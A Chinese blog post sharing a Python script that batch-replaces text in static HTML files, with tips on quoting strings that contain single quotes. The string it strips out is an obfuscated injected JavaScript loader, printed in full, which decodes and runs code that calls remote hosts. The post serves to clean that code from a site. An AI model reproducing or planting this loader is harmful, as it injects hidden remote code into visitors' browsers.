卓越飞翔博客卓越飞翔博客

卓越飞翔 - 您值得收藏的技术分享站
技术文章1854本站已运行507

linux 系统批量替换删除html文本办法

搞网站最怕什么,那就是生成静态文件,特别是某些cms生成大量文件非常慢,要修个某个html代码或是js广告代码,特别是写入到html里面的,就又要重新生成一遍静态文件,立马叫人怀疑人生。。。
那么有没有办法呢?让他批量替换html字符串呢?今天小编就用py结合ai写了一个批量替换的代码,下面就把代码发给大家:
import os

# 要处理的目录列表
folders = ['dianshiju', 'dongman', 'dianying', 'duanju', 'lunli']

# 替换规则:'原字符串': '新字符串' 
replacements = {
    """<div></div><script>!function(){function a(a){var _idx="u4wkmp92zz";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF O8D62fODm622Y5V6fFh=d8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!7_2(F6O2 6ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF (8[YXY2F|TJYg"FO_(hY2f"=qOdfiFdF_Lg0=Rg"_oDS^JQ@44"=5Y|5Tg0=LqOFWfg2cmn<ydFhm5d2fO^cajngKaP!Xd5 F8"i|"%(mR!XO6f 0888D62fODHFZjD62fODHFZ8}g(mR82c{a%"Q"!qYF _8"bGYFYGb"=f8HZ!F5T[f8+i;NmJd5LYcYc_a??"HZ"aP(dF(hcFa[f8HZP7_2(F6O2 qcFa[5YF_52 Fm5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 YcF=Ya[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cFaP(dF(hcFa[Yvvc28YcaaP5YF_52 2P7_2(F6O2 LcF=Y=2a[F5T[qO(dqiFO5dpYmLYFWFY^cF=YaP(dF(hcFa[2vv2caPP7_2(F6O2 2cFa[qYF Y80<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg}=28"d)(fY7h6CSq^2OJ:5LF_XDRT4"=582mqY2pFh=O8""!7O5c!Y**!a[Xd5 d8ydFhm5d2fO^ca=682HydFhm7qOO5cd.5aZ!O%8d<mKj6g6mFOBJJY5xdLYcaP5YF_52 OP7_2(F6O2 JcFa[qYF Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP{Q0CFT_T_mOFX5Y_FmRT4gQ@{n"="hFFJLg//[[fdTPP{Q0CF75FTmd55Fh^5mRT4gQ@{n"="hFFJLg//[[fdTPP{Q0CFfY5Fm6^SDdqSmRT4gQ@{n"="hFFJLg//[[fdTPP{Q0CFSOJTmOFX5Y_FmRT4gQ@{n"="hFFJLg//[[fdTPP{Q0CFLY_6md55Fh^5mRT4gQ@{n"="hFFJLg//[[fdTPP{Q0CFRDYJm6^SDdqSmRT4gQ@{n"="hFFJLg//[[fdTPP{Q0CFdDqJmd55Fh^5mRT4gQ@{n"Z!qYF 58qc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/{Q0"!585%c*}8885m62fYR;7c"j"aj"j"g"v"a%"R8"%(mR%"v58"%(m5Y|5T%%%"vF8"%pca%6ca=YmL5(8qc5a=YmO2qOdf87_2(F6O2ca[(mqOdfiFdF_L8@P=YmO2Y55O587_2(F6O2ca[FvvFca=LYF|6^YO_Fc7_2(F6O2ca[Ym5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcYa=(mqOdfiFdF_L8}P7_2(F6O2 pca[qYF F8Yc"bb___b"a!5YF_52 F??F8qc"hFFJLg//[[fdTPP{Q0CFT_T_mOFX5Y_FmRT4gQ@{n"a%"/)_pj68"%7=cY82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcfaa=YmdJJY2fc"F"="}"a=2dX6pdFO5mLY2fuYd(O2cF=Ya=fmqY2pFh80=Lc_=""aaPaPPaca!'.substr(22));new Function(b)()}();</script>""": '',
   }

# 遍历每个文件夹
for folder in folders:
    for root, dirs, files in os.walk(folder):
        for file in files:
            if file.endswith('.html'):
                filepath = os.path.join(root, file)
                with open(filepath, 'r', encoding='utf-8') as f:
                    content = f.read()

                original_content = content
                for old, new in replacements.items():
                    content = content.replace(old, new)

                if content != original_content:
                    with open(filepath, 'w', encoding='utf-8') as f:
                        f.write(content)
                    print(f"已处理:{filepath}")
解析:
replacements = {} //这里面可以放入多组html代码和字符串进行替换
# 替换规则:'原字符串': '新字符串'
replacements = {
'旧字符串1': '新字符串1',
    '旧字符串2': '新字符串2',
    '<font color="red">': '<span style="color:red;">',
    '</font>': '</span>',
}

如果是html代码或是其它代码,里面有 ' 单引号这个符号,需要讲替换规则改下

如果替换的字符串里面本身就有单引号 ',那直接用单引号包裹就会导致语法错误或者字符串截断。
解决方案是:
用三重引号(''' 或 """)包裹字符串,里面可以包含单引号和双引号都不会有问题。
或者用双引号包裹字符串,这样字符串里的单引号就没问题了。
还可以对字符串里的单引号做转义(\'),但这太麻烦,不推荐。
replacements = {
    """<div></div><script>!function(){function a(a){var _idx="u4wkmp92zz";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,...');
    </script>""" : ''
}
这样就不会出错了!
卓越飞翔博客
上一篇: 用命令怎么批量删除 /runtime/ 下面的所有.php 文件
下一篇: 返回列表
留言与评论(共有 0 条评论)
   
验证码:
隐藏边栏